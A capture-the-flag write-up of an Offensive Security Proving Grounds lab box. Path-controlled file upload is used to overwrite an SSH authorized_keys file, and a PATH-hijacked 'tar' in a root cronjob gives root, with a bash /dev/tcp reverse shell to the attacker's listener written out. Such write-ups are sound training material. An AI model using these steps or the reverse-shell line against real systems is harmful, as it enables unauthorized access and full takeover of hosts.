This is a box by Offensive Security and integrated in the ‘proving grounds’ play lab.
discovery
As usual we start with a port scan to detect the attack surface.
port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ nmap -Pn -p21,25022,33414,40080 -sV 192.168.242.249
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-24 22:36 CEST
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 22:38 (0:00:21 remaining)
Nmap scan report for 192.168.242.249
Host is up (0.027s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
33414/tcp open unknown
40080/tcp open http Apache httpd 2.4.53 ((Fedora))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33414-TCP:V=7.93%I=7%D=7/24%Time=64BEE0E5%P=aarch64-unknown-linux-g
SF:nu%r(GetRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Wer
SF:kzeug/2\.2\.3\x20Python/3\.9\.13\r\nDate:\x20Mon,\x2024\x20Jul\x202023\
SF:x2020:36:53\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC
SF:ontent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>
SF:\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Fou
SF:nd</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the
SF:\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20pleas
SF:e\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(HTTPO
SF:ptions,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/2\.
SF:2\.3\x20Python/3\.9\.13\r\nDate:\x20Mon,\x2024\x20Jul\x202023\x2020:36:
SF:53\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Le
SF:ngth:\x20207\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x
SF:20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n
SF:<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serve
SF:r\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20chec
SF:k\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(RTSPRequest,1F
SF:4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\
SF:.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<meta\x20http-equiv=\"Content-Type\"\x20content=\"text/html;charset=u
SF:tf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</titl
SF:e>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Mes
SF:sage:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.B
SF:AD_REQUEST\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20met
SF:hod\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(Help,1EF,"<!DOCTYPE\x
SF:20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html
SF:>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20htt
SF:p-equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x
SF:20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x2
SF:0code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x
SF:20request\x20syntax\x20\('HELP'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20B
SF:ad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\
SF:x20\x20</body>\n</html>\n");
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.70 seconds
dir busting
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ gobuster dir -k -u http://192.168.242.249:40080/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x txt,html,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.242.249:40080/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2023/07/24 22:39:54 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 199]
/.hta.php (Status: 403) [Size: 199]
/.hta (Status: 403) [Size: 199]
/.htaccess (Status: 403) [Size: 199]
/.htaccess.txt (Status: 403) [Size: 199]
/.hta.html (Status: 403) [Size: 199]
/.hta.txt (Status: 403) [Size: 199]
/.htaccess.php (Status: 403) [Size: 199]
/.htaccess.html (Status: 403) [Size: 199]
/.htpasswd.html (Status: 403) [Size: 199]
/.htpasswd.php (Status: 403) [Size: 199]
/.htpasswd.txt (Status: 403) [Size: 199]
/.htpasswd (Status: 403) [Size: 199]
/cgi-bin/ (Status: 403) [Size: 199]
/cgi-bin/.html (Status: 403) [Size: 199]
/images (Status: 301) [Size: 244] [--> http://192.168.242.249:40080/images/]
/index.html (Status: 200) [Size: 1092]
/index.html (Status: 200) [Size: 1092]
/LICENSE (Status: 200) [Size: 6555]
/styles (Status: 301) [Size: 244] [--> http://192.168.242.249:40080/styles/]
Progress: 18420 / 18460 (99.78%)
===============================================================
2023/07/24 22:41:35 Finished
===============================================================
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ gobuster dir -k -u http://192.168.242.249:33414/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x txt,html,php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.242.249:33414/
[+] Method: GET
[+] Threads: 5
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2023/07/24 22:40:38 Starting gobuster in directory enumeration mode
===============================================================
/help (Status: 200) [Size: 137]
/info (Status: 200) [Size: 98]
Progress: 18441 / 18460 (99.90%)
===============================================================
2023/07/24 22:44:04 Finished
===============================================================
/help
and/info
look interesting.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /help HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:20:18 GMT
Content-Type: application/json
Content-Length: 137
Connection: close
["GET /info : General Info","GET /help : This listing","GET /file-list?dir=/tmp : List of the files","POST /file-upload : Upload files"]
We have a file upload (
/file-upload
) and file listing (/file-list?dir=/tmp
)
Lets check the file listing first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /file-list?dir=/tmp HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:22:30 GMT
Content-Type: application/json
Content-Length: 571
Connection: close
["flask.tar.gz","systemd-private-2e0fe856c0fd44ecadc327be091b8089-httpd.service-Nae0ZJ","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-logind.service-FKAUil","systemd-private-2e0fe856c0fd44ecadc327be091b8089-ModemManager.service-vpkdWb","systemd-private-2e0fe856c0fd44ecadc327be091b8089-chronyd.service-4zOGIi","systemd-private-2e0fe856c0fd44ecadc327be091b8089-dbus-broker.service-DeFCB5","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-resolved.service-pDGRUI","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-oomd.service-dJ9LLo"]
It works
When looking for juicy folders and stuff we soon see there is a user named alfredo
with a .ssh
folder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /file-list?dir=/home/alfredo HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:25:04 GMT
Content-Type: application/json
Content-Length: 96
Connection: close
[".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /file-list?dir=/home/alfredo/.ssh HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:25:36 GMT
Content-Type: application/json
Content-Length: 42
Connection: close
["id_rsa","id_rsa.pub","authorized_keys"]
exploitation
Lets try to exploit the /file-upload
feature to upload a file and override the authorized_keys
file to gain access via ssh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /file-upload HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------d2dc41f8d6cbb89e
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
--------------------------d2dc41f8d6cbb89e--
HTTP/1.1 400 BAD REQUEST
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:27:57 GMT
Content-Type: application/json
Content-Length: 46
Connection: close
{"message":"No filename part in the request"}
So we need to add another part with
filename
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /file-upload HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 292
Content-Type: multipart/form-data; boundary=------------------------d2dc41f8d6cbb89e
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="filename"
1.txt
--------------------------d2dc41f8d6cbb89e--
HTTP/1.1 201 CREATED
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:29:10 GMT
Content-Type: application/json
Content-Length: 41
Connection: close
{"message":"File successfully uploaded"}
Lets check if the file got uploaded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /file-list?dir=/tmp HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:29:53 GMT
Content-Type: application/json
Content-Length: 583
Connection: close
["1.txt","flask.tar.gz","systemd-private-2e0fe856c0fd44ecadc327be091b8089-httpd.service-Nae0ZJ","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-logind.service-FKAUil","systemd-private-2e0fe856c0fd44ecadc327be091b8089-ModemManager.service-vpkdWb","systemd-private-2e0fe856c0fd44ecadc327be091b8089-chronyd.service-4zOGIi","systemd-private-2e0fe856c0fd44ecadc327be091b8089-dbus-broker.service-DeFCB5","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-resolved.service-pDGRUI","systemd-private-2e0fe856c0fd44ecadc327be091b8089-systemd-oomd.service-dJ9LLo"]
Yes! It did.
Now lets check if we can manipulate the folder where the file gets uploaded to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /file-upload HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 302
Content-Type: multipart/form-data; boundary=------------------------d2dc41f8d6cbb89e
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="filename"
/home/alfredo/1.txt
--------------------------d2dc41f8d6cbb89e--
HTTP/1.1 201 CREATED
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:31:42 GMT
Content-Type: application/json
Content-Length: 41
Connection: close
{"message":"File successfully uploaded"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /file-list?dir=/home/alfredo HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:32:18 GMT
Content-Type: application/json
Content-Length: 96
Connection: close
[".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history","1.txt"]
It worked too!
Lets generate a ssh
private key and add it to the authorized_keys
file.
Generate the key material on the attacker machine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/void/.ssh/id_rsa): id_rsa_alfredo
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa_alfredo
Your public key has been saved in id_rsa_alfredo.pub
The key fingerprint is:
SHA256:x5sO1YQJPxxoC4/DoT88Khmdm8ZHSd3FFjzbJgrZVLk void@kali
The key's randomart image is:
+---[RSA 3072]----+
| ...+oo |
| o o+.+B |
| o B **o.= |
| . = *.o+E o |
| . = oS.+..o |
| . o B o.o |
| + = o. o |
| o * . o |
| o . . |
+----[SHA256]-----+
$ ls
id_rsa_alfredo id_rsa_alfredo.pub
$ chmod 600 id_rsa_alfredo.pub
$ cat id_rsa_alfredo.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXX7jdVXySHeyJkQxdn0vqUzX1tZHkJzxVXdk1WduuZi9KqrNlAgOEUbZEMSyOeJmllFMvkxvA7n0k1cia+S1+4oOXANrKS1turruf+TCiWa39MLy9NpgBphi8IcI6hRdqft1dKlvU8dcGnly1TOM3p+ik/3ByAVY1QW53GdzsBs25fbKDvRGji4XYVRoFS5u9edNn9c5l9u75EhROFpAlm1JPh605kYwou9DB9qcmycoWBytkXMnbVEB3ufoTi3UuiQf2mcDmTMb37aLKJ2SbnRM/IBeeE1uCYpdqkvhUpGI/+O7qxCnbVmJd0bI1QUMX88FpFWajfo5ecLYwXM4YOlsE9ru7BRf/qc6XtuFC9hzutgLiPgPtzK0Ah7GE8jG2hVyrtqT4jd0LCdEmws1tulHSjIUifvQ7dI8v9GTORQMEd+hrGikZkF6K75UPi6aIbo2NoxDIGk0SA3uRbNb3oImxE+dWbB9eUuqk7f7HIWpEBQ9K+RopNAp4EPPGysc= void@kali
Upload the public key to the target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /file-upload HTTP/1.1
Host: 192.168.242.249:33414
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 878
Content-Type: multipart/form-data; boundary=------------------------d2dc41f8d6cbb89e
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXX7jdVXySHeyJkQxdn0vqUzX1tZHkJzxVXdk1WduuZi9KqrNlAgOEUbZEMSyOeJmllFMvkxvA7n0k1cia+S1+4oOXANrKS1turruf+TCiWa39MLy9NpgBphi8IcI6hRdqft1dKlvU8dcGnly1TOM3p+ik/3ByAVY1QW53GdzsBs25fbKDvRGji4XYVRoFS5u9edNn9c5l9u75EhROFpAlm1JPh605kYwou9DB9qcmycoWBytkXMnbVEB3ufoTi3UuiQf2mcDmTMb37aLKJ2SbnRM/IBeeE1uCYpdqkvhUpGI/+O7qxCnbVmJd0bI1QUMX88FpFWajfo5ecLYwXM4YOlsE9ru7BRf/qc6XtuFC9hzutgLiPgPtzK0Ah7GE8jG2hVyrtqT4jd0LCdEmws1tulHSjIUifvQ7dI8v9GTORQMEd+hrGikZkF6K75UPi6aIbo2NoxDIGk0SA3uRbNb3oImxE+dWbB9eUuqk7f7HIWpEBQ9K+RopNAp4EPPGysc= void@kali
--------------------------d2dc41f8d6cbb89e
Content-Disposition: form-data; name="filename"
/home/alfredo/.ssh/authorized_keys
--------------------------d2dc41f8d6cbb89e--
HTTP/1.1 201 CREATED
Server: Werkzeug/2.2.3 Python/3.9.13
Date: Tue, 25 Jul 2023 05:14:32 GMT
Content-Type: application/json
Content-Length: 41
Connection: close
{"message":"File successfully uploaded"}
Login via ssh
1
2
3
4
5
6
7
8
9
$ ssh -i id_rsa_alfredo alfredo@192.168.242.249 -p 25022
The authenticity of host '[192.168.242.249]:25022 ([192.168.242.249]:25022)' can't be established.
ED25519 key fingerprint is SHA256:kflJUZqQzlDWxXgGuod+HGsJPk++nvt5ZyveJgx1jgQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.242.249]:25022' (ED25519) to the list of known hosts.
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ id
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)
Yes! We got
ssh
access.
post exploitation
get first flag
1
2
3
4
[alfredo@fedora ~]$ ls
1.txt local.txt restapi
[alfredo@fedora ~]$ cat local.txt
3******************************1
privilege escalation
Running linpeas
reveals a vulnerable cronjob
1
2
3
4
[alfredo@fedora tmp]$ sh linpeas.sh
...
*/1 * * * * root /usr/local/bin/backup-flask.sh
...
Checking the content and permissions on the file backup-flask.sh
1
2
3
4
5
6
7
8
[alfredo@fedora tmp]$ ls -lsah /usr/local/bin/backup-flask.sh
4.0K -rwxr-xr-x. 1 root root 106 Mar 28 03:18 /usr/local/bin/backup-flask.sh
[alfredo@fedora tmp]$ cat /usr/local/bin/backup-flask.sh
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
We are not able to change the content of the file. However if we analyse the file content we see that the cronjob
at first adds the path /home/alfredo/restapi
to the environment variable, changes to this directory and in the end executes the command tar
(without an absolute path) to compress stuff.
We can exploit this with binary hijacking. Therefore we create a file named
tar
in the folder/home/alfredo/restapi
with a test payload, wait a minute and look if it works.
/home/alfredo/restapi/tar
content
1
2
3
#!/bin/bash
whoami > /tmp/t.txt
After a minute we check if the file exists
1
2
3
4
5
[alfredo@fedora tmp]$ ls -lsah t.txt
4.0K -rw-r--r-- 1 root root 5 Jul 25 15:29 t.txt
[alfredo@fedora tmp]$ cat t.txt
root
Yes the file exists and the escalation works!
Now lets try to trigger a reverse shell using this technique.
At first we start by creating a listener on the attacker machine.
1
2
$ nc -lvp 80
listening on [any] 80 ...
Then we change the content of our tar
file with a reverse shell
1
2
3
4
[alfredo@fedora tmp]$ cat /home/alfredo/restapi/tar
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.217/80 0>&1
After waiting a few minutes we realise that we do not get a connection. There seems to be some firewall rule in place.
After checking some ports outgoing using netcat
(nc 192.168.45.217 80
) we see that port 443
is allowed.
Lets change our listener and update our tar
file
1
2
$ nc -lvp 443
listening on [any] 443 ...
1
2
3
4
[alfredo@fedora tmp]$ cat /home/alfredo/restapi/tar
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.217/443 0>&1
After a minute we get a connection.
1
2
3
4
5
6
7
8
9
$ nc -lvp 443
listening on [any] 443 ...
192.168.177.249: inverse host lookup failed: Unknown host
connect to [192.168.45.217] from (UNKNOWN) [192.168.177.249] 55598
bash: cannot set terminal process group (16966): Inappropriate ioctl for device
bash: no job control in this shell
[root@fedora restapi]# id
id
uid=0(root) gid=0(root) groups=0(root)
Yes we are
root
!
get second flag
1
2
3
4
5
6
7
8
9
[root@fedora ~]# ls
ls
anaconda-ks.cfg
build.sh
proof.txt
run.sh
[root@fedora ~]# cat proof.txt
cat proof.txt
5******************************b
Pwned! <@:-)